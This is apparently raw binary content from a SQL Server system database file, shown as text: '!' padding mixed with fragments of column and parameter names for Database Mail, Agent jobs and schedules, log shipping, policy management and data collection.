!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&v`
Z/+
.d^8!!!!`;d)Uv}g6
G6(mailitem_id6
G6&profile_id6
G6
query6
G68query_result_header6
G6>query_result_separator6
G66query_result_width6
G6&recipients6
G64send_request_date6
G64send_request_user6
G6
(sensitivity6
G60sent_account_id6
G6$sent_date6
G6(sent_status6
G6 subject6|6&@subsystem6C"6flags6C"6"proxy_id6C"6sid6C"6*subsystem_id6'7"@plan_id6(2;7*@sent_before6(2;7*@sent_status6R<p72@active_end_date6R<p7
2@active_end_time6R<p7
6@active_start_date6R<p76@active_start_time6R<p7"@enabled6R<p7.@freq_interval6R<p7	@@freq_recurrence_factor6R<p7@@freq_relative_interval6R<p7<@freq_subday_interval6R<p74@freq_subday_type6R<p7&@freq_type6R<p7@name6R<p7&@owner_sid6R<p7*@schedule_id6|F7$attribute6|F7value67L7"@db_name67L7"@plan_id6aV/8&attachment6aV/8,attachment_id6aV/8"filename6aV/8"filesize6aV/8,last_mod_date6aV/8,last_mod_user6aV/8(mailitem_id6`d8
2@active_end_date6`d82@active_end_time6`d8	6@active_start_date6`d86@active_start_time6`d8"@enabled6`d8.@freq_interval6`d8@@freq_recurrence_factor6`d8@@freq_relative_interval6`d8<@freq_subday_interval6`d84@freq_subday_type6`d8&@freq_type6`d88@originating_server6`d8
4@owner_login_name6`d8*@schedule_id6`d8.@schedule_name6`d8,@schedule_uid6j8	0date_downloaded6j8(date_posted6j88deleted_object_name6j8,error_message6j8(instance_id6j8$object_id6j8(object_type6j8.operation_code6j8,source_server6j8
status6j8,target_server6ĄX90@automatic_post6ĄX9 @job_id6ĄX9$@job_name6ĄX9*@schedule_id6ĄX9.@schedule_name69(instance_id69job_id69 message698operator_id_emailed69
8operator_id_netsent694operator_id_paged694retries_attempted69	"run_date69*run_duration6pp8"@plan_id6pp8"@db_name666@collection_set_id66@name6
B76@collection_set_id6
B7@name677<@policy_category_name6778@policy_category_id6\8@name6\8P@mandate_database_subscriptions6\88@policy_category_id6Ux9@name6Ux98@policy_category_id6#&7:physical_server_name6#&7"dac_name6#&7:server_instance_name6#&7(volume_name6#&72volume_device_id6#&78current_utilization6#&7&used_space6#&70available_space6#&7	4under_utilization6#&7
2over_utilization6G8:server_instance_name6G84under_utilization6G88current_utilization6G82over_utilization6l9:physical_server_name6l94under_utilization6l98current_utilization6l92over_utilization6=7"agent_id6=7&agent_type6=7&session_id6=7,database_name6=7.session_status6=7"log_time6=7*log_time_utc6=7 message6a8"agent_id6a8&agent_type6a8&session_id6a8,database_name6a80sequence_number6a8"log_time6a8*log_time_utc6a8 message6a8	source6a8
"help_url!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!F$L,
p

j
J

&p&xVvN*vF8


V
0
			@		R ~\0
NlB zX<X\6D~HZB vnD,
\,v@``)MA6GOL@notify_netsend_operator_name6GOF@notify_page_operator_name6GO4@owner_login_name6GO.@start_step_id6;P0@delete_history6;P@@delete_unused_schedule6;P @job_id6;P$@job_name6;P8@originating_server6U0Q*@category_id6U0Q2@date_comparator6U0Q	,@date_created6U0Q
8@date_last_modified6U0Q*@description6U0Q"@enabled6U0Q4@execution_status6U0Q @job_id6U0Q$@job_type6U0Q4@owner_login_name6U0Q*@schedule_id6U0Q&@subsystem6eQ0active_end_date6eQ0active_end_time6eQ
4active_start_date6eQ4active_start_time6eQ*date_created6eQ,date_modified6eQ enabled6eQ,freq_interval6eQ>freq_recurrence_factor6eQ>freq_relative_interval6eQ
:freq_subday_interval6eQ	2freq_subday_type6eQ$freq_type6eQname6eQ<originating_server_id6eQ$owner_sid6eQ(schedule_id6eQ*schedule_uid6eQ.version_number62$R.@category_name62$R
2@date_comparator62$R,@date_created62$R8@date_last_modified62$R
*@description62$R"@enabled62$R	4@execution_status62$R(@job_aspect62$R @job_id62$R$@job_name62$R$@job_type62$R4@owner_login_name62$R&@subsystem6VS*@schedule_id6VS.@schedule_name6{T*@schedule_id6{T.@schedule_name69U @action69UD@current_owner_login_name69U<@new_owner_login_name6rU @job_id6rU$@job_name6rU&@operation6rU<@target_server_groups6rU0@target_servers6O6restore_history_id6O.filegroup_name6:Q,database_name6:Q$mark_name6:Q(description6:Q$user_name6:Qlsn6:Q$mark_time6fS(database_id6fS file_id6fS page_id6fS&event_type6fS(error_count6fS2last_update_date6U.@database_name6W~V*@oldest_date6˜O @log_id6˜Olog_id6˜O$task_name6˜O2avg_row_count_in6˜O2min_row_count_in6˜O2max_row_count_in6˜O4avg_row_count_out6˜O4min_row_count_out6˜O4max_row_count_out6˜O	:avg_row_count_errors6˜O
:min_row_count_errors6˜O:max_row_count_errors6˜O*avg_duration6˜O
*min_duration6˜O*max_duration6P @log_id6Psource6Pevent6P message6P&start_time6P(finish_time6P"datacode6P$databytes6Qlog_id6Q,parent_log_id6Qname6Qstatus6Q>runtime_execution_mode6Q&start_time6Q8last_iteration_time6Q(finish_time6Q	"duration6Q
0failure_message6Q"operator6Q:package_execution_id6Q
4collection_set_id6I8yR @log_id6I8yR:@from_collection_set6\mS6@collection_set_id6\mS@name6\mS6@collection_job_id6\mS.@upload_job_id6\mS2@collection_mode6aT6@collection_set_id6aT@name6UU0@reference_date6tgO.@target_set_id6tgO.@type_skeleton6tgO,@condition_id6tgO0@condition_name[P6[P.@target_set_id	PQ6	PQ.@target_set_id6VPpolicy_category_subscription_id6V(target_type6V,target_object6V6policy_category_id6&P6@ucp_instance_name6&P6@mdw_database_name#R6.HS4dac_instance_name6.HS,database_name6.HS(database_id6.HS*date_created6.HS(description6.HS<first_collection_time6.HS:last_collection_time6.HS2last_upload_time6.HS	:lifetime_cpu_time_ms6.HS
Fcpu_time_ms_at_last_upload6V0collection_time6V&session_id6V4dac_instance_name6V,database_name6V&login_time6V4cumulative_cpu_ms6>R:physical_server_name6>R:server_instance_name6>R2volume_device_id6>R*health_state6>R&set_number6>R0processing_time6ΞV:physical_server_name6ΞV*health_state6ΞV&set_number6ΞV0processing_timeHS2last_upload_time6.HS	:lifetime_cpu_time_ms6.HS
Fcpu_time_ms_at_last_upload6V0collection_time6V&se~Rb8^rzV60


h
>


p


H
`*
	HxN&L~~		h	D	$	|D$

ptV<tJ`8h.f:xHD6"L*j@h2HTLBVNpB&`:am)	zMeW%Z6^(@primary_id6^>@secondary_server_name6IT^*@description6IT^(@profile_id6IT^,@profile_name6s	^ @job_id6s	^*@server_name6^(enlist_date6^.last_poll_date6^$server_id6^(server_name6#I_*@description6#I_(@profile_id6#I_,@profile_name6-~_ @job_id67_name67_.servergroup_id6G=`,@force_delete6G=`(@profile_id6G=`,@profile_name6Qr` @job_id6Qr`"@message6Qr`
:@operator_id_emailed6Qr`:@operator_id_netsent6Qr`6@operator_id_paged6Qr`
6@retries_attempted6Qr`$@run_date6Qr`	,@run_duration6Qr`(@run_status6Qr`$@run_time6Qr` @server6Qr`(@session_id6Qr`0@sql_message_id6Qr`,@sql_severity6Qr`"@step_id6\`$server_id6\`.servergroup_id6k1a(@profile_id6k1a,@profile_name6vfaH@required_microsoft_version6Ha(category_id6Ha2count_reset_date6Ha2count_reset_time6Ha,database_name6Ha	@delay_between_responses6Ha enabled6Ha4event_category_id6HaDevent_description_keyword6Ha"event_id6Ha*event_source6Haflags6Ha2has_notification6Haid6HaDinclude_event_description6Hajob_id6Ha
:last_occurrence_date6Ha:last_occurrence_time6Ha6last_response_date6Ha
6last_response_time6Ha&message_id6Haname6^B@secondary_database_name6^6@secondary_plan_id6^2@threshold_alert6^	B@threshold_alert_enabled6=`:@primary_server_name6=`>@primary_database_name6=`8@delete_secondaries6a`>@secondary_server_name6a`B@secondary_database_name6.^6collection_set_uid6.^4collection_set_id6.^6collection_item_id6.^<collection_package_id6.^4upload_package_id6=)_0health_state_id6=)_$policy_id6=)_,last_run_date6=)_Ptarget_query_expression_with_id6=)_@target_query_expression6=)_result6vM`&history_id6vM`$policy_id6vM`&start_date6vM`"end_date6vM`result6vM`(is_full_run6vM`4exception_message6vM`$exception6?^"dac_name6?^Bdac_server_instance_name6?^ fg_name6?^$file_type6?^*health_state6?^0processing_time64_$dac_count64_4dac_healthy_count64_8dac_unhealthy_count64_>dac_over_utilize_count64_@dac_under_utilize_count64_Xdac_on_over_utilized_computer_count64_Zdac_on_under_utilized_computer_count64_jdac_with_files_on_over_utilized_volume_count64_	ldac_with_files_on_under_utilized_volume_count64_
Tdac_with_over_utilized_file_count64_Vdac_with_under_utilized_file_count64_^dac_with_over_utilized_processor_count64_
`dac_with_under_utilized_processor_count64_&set_number!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

T

			H	2		T b0lf>nJ$0tT0LjB.v&J
Z0T@$dzV


P
dD&vTtB
`aeb):E6,le task_id6e:@primary_server_name6!e(@account_id6!e,@account_name6!e*@description6!e,@display_name6!e.@email_address6!e
(@enable_ssl6!e2@mailserver_name6!e2@mailserver_type6!e<@no_credential_change6!e$@password6!e	@port6!e2@replyto_address6!e"@timeout6!eB@use_default_credentials6!e
$@username6;++f@seed6e5`f$cachedate6e5`f4has_server_access6e5`f6is_sysadmin_member6e5`f&login_name6JEf(@account_id6JEf,@account_name6tOg.@activeenddate6tOg8@activeendtimeofday6tOg
2@activestartdate6tOg<@activestarttimeofday6tOg"*@category_id6tOg!.@category_name6tOg 8@cmdexecsuccesscode6tOg"@command6tOg,@databasename6tOg*@description6tOg<@emailcompletionlevel6tOg6@emailoperatorname6tOg"@enabled6tOg,@freqinterval6tOg<@freqrecurrencefactor6tOg<@freqrelativeinterval6tOg
2@freqsubinterval6tOg	*@freqsubtype6tOg$@freqtype6tOg@@loghistcompletionlevel6tOg@name6tOg@newid6tOg*@nextrundate6tOg*@nextruntime6tOg(@parameters6tOg.@retryattempts6tOg(@retrydelay6tOg*@runpriority6tOg @server6tOg&@subsystem6tOg6@tagadditionalinfo6tOg*@tagobjectid6tOg.@tagobjecttype6tOg$@username6ig(@account_id6ig,@account_name6sh@id6sh&@loginname6sh@name6h(@account_id6i(@account_id6i,@account_name6i(@profile_id6i,@profile_name6i2@sequence_number6e>@primary_database_name6e>@secondary_server_name6eB@secondary_database_name6˧i0@primary_server6˧i4@secondary_server6˧i$@database6˧i(@new_source6e0server_group_id6ename6e(description6e(server_type6e$parent_id6e2is_system_object6K?g&history_id6K?g$policy_id6K?g&start_date6K?g"end_date6K?gresult6K?g4exception_message6K?g$exception6>o3h$detail_id6>o3h&history_id6>o3h@target_query_expression6>o3hPtarget_query_expression_with_id6>o3h.execution_date6>o3hresult6>o3h,result_detail6>o3h4exception_message6>o3h	$exception!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!